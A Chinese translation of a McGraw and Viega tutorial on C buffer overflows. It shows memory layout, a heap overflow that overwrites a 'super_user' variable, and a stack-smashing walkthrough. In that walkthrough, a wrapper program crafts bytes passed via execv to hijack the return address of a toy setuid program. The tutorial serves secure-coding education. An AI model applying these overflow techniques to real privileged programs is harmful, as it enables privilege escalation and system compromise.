求知 文章 文库 Lib 视频 iPerson 课程 认证 咨询 工具 讲座 Modeler   Code  
会员   
 
  
 
 
 
让您的软件运行起来:实质问题和摧毁攻击(C语言)
 

2010-07-16 作者:Gary McGraw,John Viega 来源:IBM

 

要理解大多数缓冲区溢出的本质,首先需要理解当典型程序运行时机器中的内存是如何分配的。在许多系统上,每个进程都有其自己的虚拟地址空间,它们以某种方式映射到实际内存。我们不会关心描述用来将虚拟地址空间映射成基本体系结构的确切机制。我们只关心理论上允许寻址大块连续内存的进程,在某些情况下坏家伙会滥用这些内存中的某些部分。

在高级别上,几乎总是存在几个不同的内存区域:

  • 程序参数程序环境
  • 程序堆栈,它通常在程序执行时增长。通常,它向下朝堆增长。
  • ,它也在程序执行时增长。通常,它向上朝堆栈增长。
  • BSS 段 ,它包含未初始化的全局可用的数据(例如,全局变量)。在下面的代码示例 1 中,变量 number_matches 被分配到 BSS 段中,因为直到调用 main() 后才初始化该变量。
  • 数据段 ,它包含初始化的全局可用的数据(通常是全局变量)。在代码示例 1 中,变量 to_match 将被分配到数据段中,因为它是在声明时进行初始化的。
  • 文本段,它包含只读程序代码。

BSS、数据和文本段组成静态内存:在程序运行之前这些段的大小已经固定。程序运行时虽然可以更改个别变量,但不能将数据分配到这些段中。例如在我们的示例代码中,只要一发现变量 to_match 是程序的参数,就递增变量 number_matches 的值。虽然我们可以更改 to_match 的值,但字符串长度不能大于三个字符,避免覆盖其它数据。

代码示例 1

char to_match[] = "foo";
int number_matches;
void main(int argc, char *argv[])
{
    int i;
    number_matches = 0;
    for(i = 0; i < argc; i++)
    {
         if(!strcmp(argv[i], to_match)) number_matches++;
    }
    printf("There were %d matches of %s.\n", number_matches, to_match);
}

与静态内存形成对比,堆和堆栈是动态的:在程序执行时,它们可以增长(和缩小)。这些大小的更改是运行时内存分配的直接结果。有两种类型的运行时内存分配:堆栈分配和堆分配。至堆的程序员接口因语言而异。在 C 中,堆是经由 malloc() 和其它相关函数来访问的。在 C++ 中的 new 运算符是至堆的程序员接口。

只要一调用函数,就自动为程序员处理堆栈分配。堆栈保存有关当前函数调用的上下文。这一信息的容器是连续的存储块,称为活动记录或者堆栈帧。许多东西可能进入活动记录,通常它们的内容同时与体系结构和编译器相关的。放置在堆栈帧中的某些公共项包括函数的非静态局部变量值、实际参数(即,传递到函数的参数)、保存的寄存器信息以及当函数返回时程序应该跳到的地址。这些项中很多都被保存在机器寄存器中,而不是堆栈中,主要原因是为了增加效率(一个编译器相关的因素)。

在 C 中,堆栈和堆上的数据都可以溢出。正如我们所知,有时溢出覆盖了有用的东西,因此引起了安全性问题。例如,溢出可能覆盖一个对于安全性关键的访问控制标志;或者溢出可能复位一个密码。在堆栈摧毁的情况下,溢出覆盖了堆栈帧中的返回地址。如果攻击者可以将他自己的代码放入通过堆栈赋予值的变量中,然后构造一个新的返回地址以跳至该代码,他就可以为所欲为了!通常,他想得到一个交互式 shell。

让我们更详细地讨论堆和堆栈溢出。

评估堆溢出弱点

虽然堆溢出在理论上很简单,但是对于攻击者来说,开发一个堆溢出实际上却很难,这有几个原因。首先,攻击者必须弄清哪一个变量对于安全性来说是关键的。这个过程通常是极其困难的,尤其是在可能的攻击者没有源代码的情况下。其次,即使找到了对于安全性关键的变量,攻击者还必须提供一个可被溢出的缓冲区,就象覆盖目标变量的方法那样。这通常意味着缓冲区需要有一个比目标变量低的内存地址;否则无法向上溢出到该变量地址空间中。

让我们查看一个示例。考虑一台运行 Linux 的 x86 机器。我们将从一个无聊的小程序开始 ― 实际上只是一个程序片段:

void main(int argc, char **argv)
{
  int i;
  char *str = (char *)malloc(sizeof(char)*4);
  char *super_user = (char *)malloc(sizeof(char)*9);
  strcpy(super_user, "viega");
  if(argc > 1)
    strcpy(str, argv[1]);
  else
    strcpy(str, "xyz");
}

假设这个程序使用 root 特权运行。请注意我们可以看见源代码,并且还注意到在程序的另外的地方, super_user 可能是一个重要变量。那意味着如果我们可以覆盖它,就可能操纵程序做“坏事”。

我们可以覆盖该变量吗?要开始尝试,我们可以猜测在内存中 super_user 正好放在 str 后。我们的初始思想模型类似于:

内存地址 变量
Whatever str
Whatever + 4 super_user

但是谁会说 super_user 不在 str 之前出现?又有谁会说在内存中它们是被放在一起的。我们的直觉是基于我们看到的事物在程序原文中的顺序。而编译器不必考虑变量在代码中出现的顺序,这对于菜鸟级的攻击者来说可不是个好消息。那么,答案是什么呢?

让我们将程序复制到我们自己的目录然后开始摆弄它。我们将修改程序以打印出这两个缓冲区的地址:

void main(int argc, char **argv)
{
  int i;
  char *str = (char *)malloc(sizeof(char)*4);
  char *super_user = (char *)malloc(sizeof(char)*9);
  printf("Address of str is: %p\n", str);
  printf("Address of super_user is: %p\n", super_user);
  strcpy(super_user, "viega");
  if(argc > 1)
    strcpy(str, argv[1]);
  else
    strcpy(str, "xyz");
}

在我们的机器上运行这个程序时,典型的结果是:

Address of str is: 0x80496c0
Address of super_user is: 0x80496d0

在本例中, super_user 确实在 str 后,因此那是个好信号。但是有点令人奇怪的是它们并未被相邻放置。让我们继续研究,并通过对代码版本做如下修改在代码片断的结束处打印出从 str 的起始处到 super_user 的结束处的所有内存地址:

void main(int argc, char **argv)
{
  int i;
  char *str = (char *)malloc(sizeof(char)*4);
  char *super_user = (char *)malloc(sizeof(char)*9);
  char *tmp;
  printf("Address of str is: %p\n", str);
  printf("Address of super_user is: %p\n", super_user);
  strcpy(super_user, "viega");
  if(argc > 1)
    strcpy(str, argv[1]);
  else
    strcpy(str, "xyz");
  tmp = str;
  while(tmp < super_user + 9)
    {
      printf("%p: %c (0x%x)\n", tmp, *tmp, *(unsigned int*)tmp);
      tmp += 1;
    }
}

printf 格式字符串中的 %p 参数将导致 tmp 以十六进制的内存指针的形式被打印出来。 %c 将一个字节作为字符打印出来。 %x 以十六进制打印出一个整数。由于 tmp 中的元素值比整数短,所以我们需要将每个元素的类型重新强制转换成 unsigned int ,这样就可以正确打印出每个元素。

如果我们运行不带参数的程序,则典型的结果如下:

Address of str is: 0x8049700
Address of super_user is: 0x8049710
0x8049700: x (0x78)
0x8049701: y (0x79)
0x8049702: z (0x7a)
0x8049703:   (0x0)
0x8049704:   (0x0)
0x8049705:   (0x0)
0x8049706:   (0x0)
0x8049707:   (0x0)
0x8049708:   (0x0)
0x8049709:   (0x0)
0x804970a:   (0x0)
0x804970b:   (0x0)
0x804970c: _ (0x11)
0x804970d:   (0x0)
0x804970e:   (0x0)
0x804970f:   (0x0)
0x8049710: v (0x76)
0x8049711: i (0x69)
0x8049712: e (0x65)
0x8049713: g (0x67)
0x8049714: a (0x61)
0x8049715:   (0x0)
0x8049716:   (0x0)
0x8049717:   (0x0)
0x8049718:   (0x0)

注意到为 str 保留了四个字节(它出现在变量 super_user 开始前 12 个字节的地方)。让我们尝试用 mcgraw 覆盖 super_user 的值。要做到这一点,我们在命令行上将一个参数传递到程序,该参数被复制到 str

象这样运行程序:

./a.out xyz ?.mcgraw

这产生了我们想要的准确行为:

Address of str is: 0x8049700
Address of super_user is: 0x8049710
0x8049700: x (0x78)
0x8049701: y (0x79)
0x8049702: z (0x7a)
0x8049703: . (0x2e)
0x8049704: . (0x2e)
0x8049705: . (0x2e)
0x8049706: . (0x2e)
0x8049707: . (0x2e)
0x8049708: . (0x2e)
0x8049709: . (0x2e)
0x804970a: . (0x2e)
0x804970b: . (0x2e)
0x804970c: . (0x2e)
0x804970d: . (0x2e)
0x804970e: . (0x2e)
0x804970f: . (0x2e)
0x8049710: m (0x6d)
0x8049711: c (0x63)
0x8049712: g (0x67)
0x8049713: r (0x72)
0x8049714: a (0x61)
0x8049715: w (0x77)
0x8049716:   (0x0)
0x8049717:   (0x0)
0x8049718:   (0x0)

我们无法很方便地通过简单命令行界面将空格或空字符放入字符串中。因此在本例中,我们只是用小数点填充,这就足够了。有一种更好的插入带有空字符和小数点的输入的方法,就是使用一个程序来调用另一个程序。调用程序可以构造任何需要的字符串,然后将任意参数经由 execv (或者某些类似函数)传递到其调用的程序中。以后当我们考虑堆栈溢出时再做这类事情。

我们现在已经成功地溢出了一个堆变量。请注意,我们必须覆盖某些“间隙”空间。在本例中,我们滥用内存不会导致问题。在实际程序中,虽然我们可能不得不覆盖对于程序基本功能至关重要的数据。但如果我们操作失误,则只要程序在使用我们放置在堆上的恶意数据之前命中我们覆盖的“中间”数据,它就可能崩溃。这会使我们的攻击无法奏效。(倒霉,又失败了。)如果我们对内存的滥用导致了问题,则需要精确地确定堆上的哪些数据不能碰。

作为开发人员,您需要牢记堆溢出将成为攻击的潜在目标区。还应该以攻击者的思路来记住这一点。不要忘记在您第一次覆盖对于安全性关键的变量和对于安全性关键的上下文中使用该变量之间的这段时间内,它可能被更改。

评估堆栈溢出弱点

堆溢出的主要问题是很难以期望的方式找到对于安全性关键的区域。堆栈溢出在这一点上却不是一个难题,因为在堆栈上总是会覆盖一些对于安全性关键的东西 ― 返回地址!

这里是我们的评估和攻击堆栈溢出的唱反调的安排:

  1. 找出一个要溢出的堆栈分配的缓冲区以允许我们覆盖堆栈帧中的返回地址。
  2. 将攻击代码放入内存以便当我们攻击的函数返回时可以跳至该攻击代码。
  3. 使用将导致程序跳至我们的攻击代码的值来覆盖堆栈上的返回地址。

要实现这个样本的攻击,首先我们需要断定我们可以溢出程序中的哪一个缓冲区。通常存在两种类型的堆栈分配数据:非静态局部变量和函数的参数。

我们可以同时溢出这两种数据类型吗?视情况而定。我们只能溢出内存地址低于返回地址的项。首先选择某些函数然后“映射”堆栈。换句话说,我们想要找出相对于我们感兴趣的返回地址,参数和局部变量存在于何处。

让我们从另一个简单的 C 程序开始:

void test(int i)
{
  char buf[12];
}
int main()
{
  test(12);
}

test 函数具有一个局部参数和一个静态分配的缓冲区。为了查看这两个变量所在的内存地址(彼此相对的地址),我们将对代码略作修改:

void test(int i)
{
  char buf[12];
  printf("&i = %p\n", &i);
  printf("&buf[0] = %p\n", buf);
}
int main()
{
  test(12);
}

通常,执行我们修改的代码将产生下列输出:

&i = 0xbffffa9c
&buf[0] = 0xbffffa88

现在,我们可以查看这些数据的常规邻近区域,然后确定是否看到类似返回地址的东西。让我们从 buf 上的 8 个字节开始查看,然后在 i 结束后 8 个字节处停下来。

要做到这一点,我们将按如下修改代码:

/* Global variable, so we don't add anything to the stack */
char *j;
void test(int i)
{
  char buf[12];
  printf("&i = %p\n", &i);
  printf("&buf[0] = %p\n", buf);
  for(j=buf-8;j<((char *)&i)+8;j++)
    printf("%p: 0x%x\n", j, *(unsigned char *)j);
}
int main()
{
  test(12);
}

请注意,要获取变量 i 起始处前 8 个字节,我们必须将变量的地址类型强制转换为 char * 。为什么呢?因为当 C 将地址加 8 时,它实际上加了 8 倍数据类型大小(它认为这些存储在内存地址处)。这意味着将整数指针增加 8 将导致内存地址增加 32 字节而不是想要的 8 个字节。

这里是来自我们的新程序的典型输出:

&i = 0xbffffa9c
&buf[0] = 0xbffffa88
0xbffffa80: 0x45
0xbffffa81: 0xfa
0xbffffa82: 0xff
0xbffffa83: 0xbf
0xbffffa84: 0xbf
0xbffffa85: 0x0
0xbffffa86: 0x0
0xbffffa87: 0x0
0xbffffa88: 0xfc
0xbffffa89: 0x83
0xbffffa8a: 0x4
0xbffffa8b: 0x8
0xbffffa8c: 0x9c
0xbffffa8d: 0xfa
0xbffffa8e: 0xff
0xbffffa8f: 0xbf
0xbffffa90: 0x49
0xbffffa91: 0xd6
0xbffffa92: 0x2
0xbffffa93: 0x40
0xbffffa94: 0xa0
0xbffffa95: 0xfa
0xbffffa96: 0xff
0xbffffa97: 0xbf
0xbffffa98: 0xe6
0xbffffa99: 0x84
0xbffffa9a: 0x4
0xbffffa9b: 0x8
0xbffffa9c: 0xc
0xbffffa9d: 0x0
0xbffffa9e: 0x0
0xbffffa9f: 0x0
0xbffffaa0: 0x0
0xbffffaa1: 0x0
0xbffffaa2: 0x0
0xbffffaa3: 0x0

令人头疼的问题是:是不是这里的每个地址都象返回地址?记住,内存地址是四字节的,而我们现在一次只查看一个字节。这很好。但是,我们仍然不知道应该查看的范围。我们如何得出返回地址的范围呢?我们知道一件事,程序将返回到 main() 函数。也许我们可以获取 main 函数的地址,打印出来,然后查找紧挨着的四个连续字节的模式。

让我们再次修改代码:

char *j;
int main();
void test(int i)
{
  char buf[12];
  printf("&main = %p\n", &main);
  printf("&i = %p\n", &i);
  printf("&buf[0] = %p\n", buf);
  for(j=buf-8;j<((char *)&i)+8;j++)
    printf("%p: 0x%x\n", j, *(unsigned char *)j);
}
int main()
{
  test(12);
}

运行这个程序产生类似这样的输出:

&main = 0x80484ec
&i = 0xbffffa9c
&buf[0] = 0xbffffa88
0xbffffa80: 0x61
0xbffffa81: 0xfa
0xbffffa82: 0xff
0xbffffa83: 0xbf
0xbffffa84: 0xbf
0xbffffa85: 0x0
0xbffffa86: 0x0
0xbffffa87: 0x0
0xbffffa88: 0xfc
0xbffffa89: 0x83
0xbffffa8a: 0x4
0xbffffa8b: 0x8
0xbffffa8c: 0x9c
0xbffffa8d: 0xfa
0xbffffa8e: 0xff
0xbffffa8f: 0xbf
0xbffffa90: 0x49
0xbffffa91: 0xd6
0xbffffa92: 0x2
0xbffffa93: 0x40
0xbffffa94: 0xa0
0xbffffa95: 0xfa
0xbffffa96: 0xff
0xbffffa97: 0xbf
0xbffffa98: 0xf6
0xbffffa99: 0x84
0xbffffa9a: 0x4
0xbffffa9b: 0x8
0xbffffa9c: 0xc
0xbffffa9d: 0x0
0xbffffa9e: 0x0
0xbffffa9f: 0x0
0xbffffaa0: 0x0
0xbffffaa1: 0x0
0xbffffaa2: 0x0
0xbffffaa3: 0x0

很明显,函数 main 位于 0x80484ec 。因此在输出中,我们期望看到三个连续的字节,其中前两个是 0x80x4 ,第三个是 0x84 或可能是 0x85 。(期望出现这种情况,因为我们相信从 main 的起始处到测试返回处的代码只有几个字节长。因为第三个字节大于 0x85 ,它将必须至少为 17 个字节代码。)第四个字节可以是任何合理的长度。当然我们可以在程序中的某处发现所有这三个字节,但是顺序不正确。如果深入研究,将发现它们确实出现 ― 以相反的顺序!这是不一致的。我们正在查找的内存地址以四字节为单位存储。

x86 用怪异的方式存储一些多字节原始类型:我们寻找的数据是按最后一个字节在最前面而第一个字节在最后面的顺序进行存储的。实际上,如您所见,所有位实际都是自上向下存储的。但是,每当我们使用数据时,都用正确的方法处理它们。这就是为什么当我们一次打印出一个字节时,单个字节都按“正序”打印,但是当我们研究应该连续的四个字节时,它们是以相反的顺序打印。

作为一个示例,请考虑变量 i 。当我们将它打印出来时,将看到 12。在 32 位十六进制中,12 用 0x0000000c 表示。如果期望这些字节按正确顺序,则从字节 0xbffffa9c 开始,我们期望看到。

0xbffffa9c: 0x0
0xbffffa9d: 0x0
0xbffffa9e: 0x0
0xbffffa9f: 0xc

但是,在这种体系结构中,我们将看见字节以逆序出现。因此扼要重述的话,如果将变量以十六进制单个 32 位数打印出来,则我们得到 0xc (12),而不是 0xc000000 (无符号数 201326592),但是如果我们转储内存,我们看见的就不会如此了。

接下来,让我们以逆序查找 main 函数的四字节模式。通过挑出两个最高有效字节是 0x80x4 的那些节,开始我们的查找(因为在四字节模式中,最高有效字节是最后两个)。我们想考虑两个目标节。首先,我们有堆栈的下列部分:

0xbffffa88: 0xfc
0xbffffa89: 0x83
0xbffffa8a: 0x4
0xbffffa8b: 0x8

重新组装这四个字节,得到 0x80483fc 。它与 0x80484ec 非常接近,这就是 main 的位置。这无疑是错误的,因为它比 main 的地址略小一点,所以我们要寻找略大一点的。但是,它确实象一个返回地址。

为什么它不是我们查找的返回地址还有另一个理由。研究一下该字起始的内存地址: 0xbffffa88 。如果您仔细研究输出,将注意到 0xbffffa88 其实是 buf 的起始地址。我们确实要求将 12 字节分配给 buf ,但是从未要求过系统将任何东西放入缓冲区。但是,由于 C 没有将缓冲区置零,所以缓冲区的值将是相同内存位置的任何值。很可能 0xbffffa88 是以前存储的另一个程序的返回地址。在任何情况下,这都不是我们所需要的。

在内存转储中只有另一个候选项:

0xbffffa98: 0xf6
0xbffffa99: 0x84
0xbffffa9a: 0x4
0xbffffa9b: 0x8

这个内存再适合不过了。重新组装这四个字节,我们得到 0x80484f6 ,它距离 main() 的起始点 10 个字节。因此,现在让我们描述该堆栈,从 buf0xbffffa88 )的起始点开始:

0xbffffa88-0xbffffa93 是字符数组 buf。

接下来的 4 个字节是:

0xbffffa94: 0xa0
0xbffffa95: 0xfa
0xbffffa96: 0xff
0xbffffa97: 0xbf

重新组装后,这个值为 0xbffffaa0 ,它明显是堆栈中更靠下的一个指针。结果这个字就是调用 test() 前寄存器 ebp 保留的值。一旦执行从 test 返回到 main 时,它就被放回到 ebp 中。但是, ebp 为什么指向堆栈呢? ebp 的值称为基指针。它指向当前堆栈帧。访问局部变量和参数的代码是根据基指针编写的。结果是基指针指向存储旧的基指针的位置。因此本例中 ebp 的当前值将是 0xbffffa94

0xbffffa98 开始的接下来四个字节构成了返回地址。其后的四个字节( 0xbffffa9c0xbffffa9f )是存储参数 i 的位置。下一个字节 0xbffffaa0 是旧基指针指向的位置(即, main 的调用帧的基指针)。从该地址开始的字的值应该包含调用 main 的函数的基指针。当然,我们所知的函数都没有调用 main ,所以知道 0x000000 就是该字的值就不足为奇了。

完成这些工作后,我们现在已经很清楚地知道堆栈帧是什么样子了:

低地址
局部变量
旧的基指针
返回地址
函数的参数
高地址

堆栈向内存地址 0 增长,而且以前的堆栈帧位于函数参数下面。

现在我们知道如果我们溢出一个局部变量,就可以覆盖我们所处的函数的返回地址。

我们也知道如果溢出一个函数参数,则可以重写下面的堆栈帧中的返回地址。(它总是会产生一个返回地址。 main 函数返回到 C 运行时库中的某一些代码。)

让我们使用下列玩具程序来测试新发现的知识:

/* Collect program arguments into a buffer, then print the buffer */
void concat_arguments(int argc, char **argv)
{
  char buf[20];
  char *p = buf;
  int i;
  for(i=1;i<argc;i++)
    {
      strcpy(p, argv[i]);
      p+=strlen(argv[i]);
      if(i+1 != argc)
        {
          *p++ = ' '; /* Add a space back in */
        }
    }
  printf("%s\n", buf);
}
int main(int argc, char **argv)
{
  concat_arguments(argc, argv);
}

只是为了实践,让我们假设这个小程序是在 setuid root 下安装的,这意味着如果我们可以溢出一个缓冲区,然后安装某些代码以获取 shell,最终我们应该得到该机器上的 root 特权。我们将做的第一件事就是将程序复制到自己的目录下,在那里可以试验它。

开始时要注意我们可以溢出缓冲区 buf 然后覆盖返回地址。我们只要在一个命令行中传递超过 20 个字符。多多少呢?这取决于我们先前对堆栈的研究,我们猜测 buf 有 20 个字节,接下来 p 有四个字节,然后是 i 的四个字节。接下来的四个字节存储旧的基指针,最后是返回地址。因此,我们期望返回地址从 buf 开始后的 32 个字节处开始。让我们做一些修改,然后看一下假设是否正确。

首先,我们将打印出 bufpi 的相对位置。对代码进行某些细微修改,则可能得到如下输出:

./a.out foo
foo
&p = 0xbffff8d8
&buf[0] = 0xbffff8dc
&i = 0xbffff8d4

可以看出 pi 都放置在低于 buf 的内存地址上。这是因为首先将第一个参数分配在堆栈上。堆栈向更小的内存地址方向增长。这意味着我们应该期望返回地址位于 buf 开始后的 24 个字节处。我们可以象以前一样仔细检查堆栈以便确认。令人惊奇的是,这个假设是正确的。

趋于无限

现在,让我们尝试让程序跳转到它不想跳转到的某处。例如,我们可以猜测 concat_arguments 从哪里开始,然后让程序跳转到那里。其思路是将程序置于不应该有无限循环的无限循环中,作为对概念的简单证明。我们将添加代码以显示 concat_arguments 是从哪里开始的。危险的是可以通过添加代码修改 concat_arguments 的起始地址。通常如果我们将代码添加到我们想要地址的函数,则不必担心这个问题,但是不可以是代码中的其它地方(因为代码将向下增长到更高的内存地址)。

让我们除去打印出变量值的代码,然后打印出 concat_arguments 的地址。我们将如下修改代码:

void concat_arguments(int argc, char **argv)
{
  char buf[20];
  char *p = buf;
  int i;
  for(i=1;i<argc;i++)
    {
      strcpy(p, argv[i]);
      p+=strlen(argv[i]);
      if(i+1 != argc)
        {
          *p++ = ' '; /* Add a space back in */
        }
    }
  printf("%s\n", buf);
  printf("%p\n", &concat_arguments);
}
int main(int argc, char **argv)
{
  concat_arguments(argc, argv);
}

When we compile this program as such:

gcc -o concat concat.c

And then run it:

./concat foo bar

我们将获得类似于如下的输出:

foo bar
0x80484d4

现在我们需要以用 0x80484d4 覆盖返回值的方式来调用程序。

啊!我们还必须以某种方式将任意字节放入命令行输入中。这不是很有趣,但是我们可以完成它。我们将编写一个小的 C 程序以调用代码,它可以让我们的工作更容易一点。需要将 24 个字节放入缓冲区中,然后是值 0x800484d4 。我们将在缓冲区中放入什么字节呢?现在用字母 x( 0x78 )来填充它。不能用空字符( 0x0 )来填充它,因为如果这样做, strcpy 就不会复制覆盖缓冲区,因为当它看见空字符时就会停止。因此,这里是封装器程序的第一部分,我们将它放入一个称为 wrapconcat.c 的文件中。

int main()
{
  char* buf = (char *)malloc(sizeof(char)*1024);
  char **arr = (char **)malloc(sizeof(char *)*3);
  int i;
  for(i=0;i<24;i++) buf[i] = 'x';
  buf[24] = 0xd4;
  buf[25] = 0x84;
  buf[26] = 0x4;
  buf[27] = 0x8;
  arr[0] = "./concat";
  arr[1] = buf;
  arr[2] = 0x00;
  execv("./concat", arr);
}

记住,我们必须以小尾数法(Little Endian)将四字节地址放入缓冲区,因此最高有效字节最后进入。

让我们从 concat.c 中除去旧的调试语句,然后编译 concat.cwrapconcat.c 。现在可以运行 wrapconcat 了。不幸的是,我们没有得到预期的结果。

[viega@lima bo]$ ./wrapconcat
xxxxxxxxxxxxxxxxxxxxxxxx
Segmentation fault (core dumped)
[viega@lima bo]$

哪里出错了?让我们尝试把它找出来。请记住我们可以将代码添加到 concat_arguments 函数中而不更改函数的地址。因此让我们将一些调试信息加入 concat.c

void concat_arguments(int argc, char **argv)
{
  char buf[20];
  char *p = buf;
  int i;
  printf("Entering concat_arguments.\n"
          "This should happen twice if our program jumps to the right place\n");
  for(i=1;i<argc;i++)
    {
      printf("i = %d; argc = %d\n");
      strcpy(p, argv[i]);
      p+=strlen(argv[i]);
      if(i+1 != argc)
        {
          *p++ = ' '; /* Add a space back in */
        }
    }
  printf("%s\n", buf);
}
int main(int argc, char **argv)
{
  concat_arguments(argc, argv);
}

在您的封装器中运行这个代码将导致类似如下的输出:

[viega@lima bo]$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
i = 2; argc = 32
Segmentation fault (core dumped)
[viega@lima bo]$

为什么 argc 从 2 跳转至 32,导致程序两次遍历循环呢?argc 明显是被以前的 strcpy 所覆盖。让我们检查一下堆栈的思想模型:

较低地址
i (4 个字节)
p (4 个字节)
buf (20 个字节)
旧的基指针 (4 个字节)
返回地址 (4 个字节)
argc (4 个字节)
argv (4 个字节)
较高地址

实际上,我们还未检查 argc 是否出现在 argv 之前。结果是它会如此。可以通过检查 strcpy 前的堆栈来确定。如果这样做,您将看到返回地址后的四个字节的值将总是与 argc 相等。

因此我们为什么覆盖 argv 呢?让我们添加一些代码以描绘堆栈的“前后”的图形。完成第一个 strcpy 之前我们将查看它,然后在完成最后一个 strcpy 以后再看一下。现在应该再次修改程序:

void concat_arguments(int argc, char **argv)
{
  char buf[20];
  char *p = buf;
  int i;
  printf("Entering concat_arguments.\n"
          "This should happen twice if our program jumps to the right place\n");
  printf("Before picture of the stack:\n");
  for(i=0;i<40;i++)
    {
      printf("%p: %x\n", buf + i, *(unsigned char *)(buf+i));
    }
  for(i=1;i<argc;i++)
    {
      printf("i = %d; argc = %d\n", i, argc);
      strcpy(p, argv[i]);
      /*
       * We'll reuse i to avoid adding to the size of the stack frame.
       * We will set it back to 1 when we're done with it!
       * (we're not expecting to make it into loop iteration 2!)
       */
      printf("AFTER picture of the stack:\n");
      for(i=0;i<40;i++)
        {
          printf("%p: %x\n", buf + i, *(unsigned char *)(buf+i));
        }
      /* Set i back to 1. */
      i = 1;
      p+=strlen(argv[i]);
      if(i+1 != argc)
        {
          *p++ = ' '; /* Add a space back in */
        }
    }
  printf("%s\n", buf);
  printf("%p\n", &concat_arguments);
}
int main(int argc, char **argv)
{
  concat_arguments(argc, argv);
}

使用封装器来运行这个程序将导致类似如下的结果:

[viega@lima bo]$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
Before picture of the stack:
0xbffff8fc: 98
0xbffff8fd: f9
0xbffff8fe: 9
0xbffff8ff: 40
0xbffff900: 84
0xbffff901: f9
0xbffff902: 9
0xbffff903: 40
0xbffff904: bc
0xbffff905: 1f
0xbffff906: 2
0xbffff907: 40
0xbffff908: 98
0xbffff909: f9
0xbffff90a: 9
0xbffff90b: 40
0xbffff90c: 60
0xbffff90d: 86
0xbffff90e: 4
0xbffff90f: 8
0xbffff910: 20
0xbffff911: f9
0xbffff912: ff
0xbffff913: bf
0xbffff914: 34
0xbffff915: 86
0xbffff916: 4
0xbffff917: 8
0xbffff918: 2
0xbffff919: 0
0xbffff91a: 0
0xbffff91b: 0
0xbffff91c: 40
0xbffff91d: f9
0xbffff91e: ff
0xbffff91f: bf
0xbffff920: 34
0xbffff921: f9
0xbffff922: ff
0xbffff923: bf
i = 1; argc = 2
0xbffff8fc: 78
0xbffff8fd: 78
0xbffff8fe: 78
0xbffff8ff: 78
0xbffff900: 78
0xbffff901: 78
0xbffff902: 78
0xbffff903: 78
0xbffff904: 78
0xbffff905: 78
0xbffff906: 78
0xbffff907: 78
0xbffff908: 78
0xbffff909: 78
0xbffff90a: 78
0xbffff90b: 78
0xbffff90c: 78
0xbffff90d: 78
0xbffff90e: 78
0xbffff90f: 78
0xbffff910: 78
0xbffff911: 78
0xbffff912: 78
0xbffff913: 78
0xbffff914: d4
0xbffff915: 84
0xbffff916: 4
0xbffff917: 8
0xbffff918: 0
0xbffff919: 0
0xbffff91a: 0
0xbffff91b: 0
0xbffff91c: 40
0xbffff91d: f9
0xbffff91e: ff
0xbffff91f: bf
0xbffff920: 34
0xbffff921: f9
0xbffff922: ff
0xbffff923: bf
i = 2; argc = 32
Segmentation fault (core dumped)
[viega@lima bo]$

我们应该特别注意 argc 。在堆栈的“前”版本中,它位于 0xbffff918 。它的值是 2,与所预期的一样。现在,这个变量在堆栈“后”版本中位于相同的位置,但是注意该值已经更改成 0。它为什么更改成 0 呢?因为我们忘记了 strcpy 会一直复制到 ― 并包括 ― 它在缓冲区中找到的第一个空字符为止。因此我们意外地用 0 覆盖了 argc 。哎呀!

argc 怎样从 0 变成 32 呢?打印出堆栈后看一下代码。其中, argc 不等于 i+1,因此我们在缓冲区的末尾加了一个空格;并且 argc 最低有效字节当前是缓冲区的末尾。因此空字符被一个空格(ASCII 32)替换。

现在很明显我们不能将那个空字符留在那里。如何解决这个问题呢?可以从我们的封装器中将 0x2 添加到缓冲区的末尾,这样我们将空字符写入第二个最低有效数字而不是最低有效数字中。这一更改将导致 0x2 出现在 0xbffff918 ,而 0x0 出现在 0xbffff919 ,导致 argc 的内存地址与堆栈的“前”版本和“后”版本完全一致。

这里是封装器代码的固定版本:

int main()
{
  char* buf = (char *)malloc(sizeof(char)*1024);
  char **arr = (char **)malloc(sizeof(char *)*3);
  int i;
  for(i=0;i<24;i++) buf[i] = 'x';
  buf[24] = 0xd4;
  buf[25] = 0x84;
  buf[26] = 0x4;
  buf[27] = 0x8;
  buf[28] = 0x2;
  buf[29] = 0x00;
  arr[0] = "./concat";
  arr[1] = buf;
  arr[2] = '\0';
  execv("./concat", arr);
}

让我们在再次运行插入 concat.c 的代码之前(保留剩余的调试代码不动)对该代码编制文档。重新编译这两个程序后,运行封装器,会得到下列结果:

[viega@lima bo]$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
xxxxxxxxxxxxxxxxxxxxxxxx
0x80484d4
Entering concat_arguments.
This should happen twice if our program jumps to the right place
xxxxxxxxxxxxxxxxxxxxxxxx
0x80484d4
Segmentation fault (core dumped)
[viega@lima bo]$

这个结果远不尽人意!代码跳回到函数的开始。

按您的想法堆栈存储构件

但是为什么程序没有象假设的那样永远循环下去呢?要给出问题的答案,需要深入理解在运行 Linux 的 x86 机器上使用 C 调用一个函数时发生了什么。堆栈中存在两个有趣的指针:基指针和堆栈指针。我们已经了解了基指针。它指向堆栈帧的中部。它用来简化从由编译器生成的汇编代码引用局部变量和参数。例如,当您恰好要在汇编代码中查找 concat_arguments 函数中的 i 变量,它却根本没有命名。而是被表示为距离基指针的常量偏移量。基指针位于寄存器 ebp 中。堆栈指针总是指向堆栈的顶部。将数据压入堆栈时,堆栈指针自动移动并指向它。从堆栈中弹出数据时堆栈指针会自动调整。

调用函数之前,调用者有一些责任。C 程序员不必担心这些责任,因为编译器会处理它们;但是如果深入研究程序的汇编版本,您就可以显式地看见这些步骤了。首先,调用者将被调用的函数所期望的所有参数都压入堆栈。完成该操作后,堆栈指针自动更改。接着调用者可以通过将一些其它数据压入堆栈来保存它们。完成后,调用者使用 x86 调用指令来调用函数。然后调用指令将返回地址压入堆栈(它通常是跟在调用后面的文本指令),并相应地更新堆栈指针。最后,调用指令使执行切换成被调用者 — 即,将程序计数器设置成正被调用的函数地址。

被调用者同样有一些责任。首先,通过将 ebp 寄存器的内容压入堆栈保存了调用者的基指针。它更新了堆栈指针,堆栈指针现在指向旧的基指针。(被调用者还负责将一些其它寄存器保存到堆栈,但是我们并不关心它们。)接下来,调用者设置 ebp 的值以便自己使用。将堆栈指针的当前值用作调用者的基指针。因此,将寄存器 esp 的内容复制到寄存器 ebp 。然后,被调用者移动堆栈指针以为所有局部分配的变量保留足够的空间。

